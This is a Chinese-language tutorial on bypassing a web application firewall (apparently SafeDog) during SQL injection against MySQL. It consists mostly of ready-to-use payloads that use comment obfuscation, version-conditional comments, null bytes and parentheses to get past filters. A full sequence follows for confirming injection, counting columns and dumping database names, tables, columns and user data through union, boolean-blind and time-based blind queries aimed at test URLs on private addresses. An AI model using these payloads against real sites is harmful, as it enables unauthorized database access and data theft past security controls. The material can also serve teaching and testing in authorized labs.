我们可以活跃头脑将and1=1换成-1=-1之类的或者使用or mod(8,7) in (1)意思是8/7余数等于1
组合绕过:
http://192.168.222.128/test/sql.php?id=1/*!union*//*%!aa*//*!select*/ 1,2,3
先判断注入点,把and为&&,urlencode后为%26%26
http://192.168.0.102:8080/sql.php?id=1%20%26%26%20-1=-2
下面我们具体讲解绕过方法:
1.利用()代替空格
2.利用mysql特性/*!*/执行语句
3.利用/**/混淆代码
我给出的注入语句是:
union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
id=1/*|%23--%23|*/unioN/*|%23--%23|*/sElect/*|%23--%23|*/1, user(),(database/**/()),4,5
http://192.168.0.102:8080/sql.php?id=1union/*%00*//*!50010select*/1,user(),version(),4,5
这里要注意的几点是:
1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的,但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的
2./*!*/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码
3.数据或者函数周围可以无限嵌套()
4.利用好%00 user())
完整过狗注入语句
判断注入点:
1'/**/%26%261%3d2%23
判断列数:
1' order by 2%23
关联查询爆出用户和数据库:
1%27%20union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
关联查询爆出数据表:
%27%20union/*%00*//*!50010select*/((group_concat(table_name))),null/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())%23
关联查询爆出字段值:
%27%20union/*%00*//*!50010select*/((group_concat(COLUMN_NAME))),null/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27%23
关联查询提取数据:
%27%20union/*%00*//*!50010select*/((group_concat(first_name))),null/**/from/**/((users))%23
盲注爆出数据库:
1' and substr(database/**/(),1,1)%3d'1'%23
盲注爆出数据表:
1'/*%00*/and substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1)%3d'1'%23
盲注爆出字段值:
1'/*%00*/and substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1)%3d'1'%23
盲注提取数据:
1'/*%00*/and substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1)%3d'1'%23
基于时间的盲注爆出数据库:
1'/*%00*/and (select case when (substr(database/**/(),1,1) like 'd') then sleep/**/(3) else 0 end)%23
基于时间的盲注爆出数据表:
1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1) like 'd') then sleep/**/(3) else 0 end)%23
基于时间的盲注爆出字段值:
1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1) like 'd') then sleep/**/(3) else 0 end)%23
基于时间的盲注提取数据: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1) like 'd') then sleep/**/(3) else 0 end)%23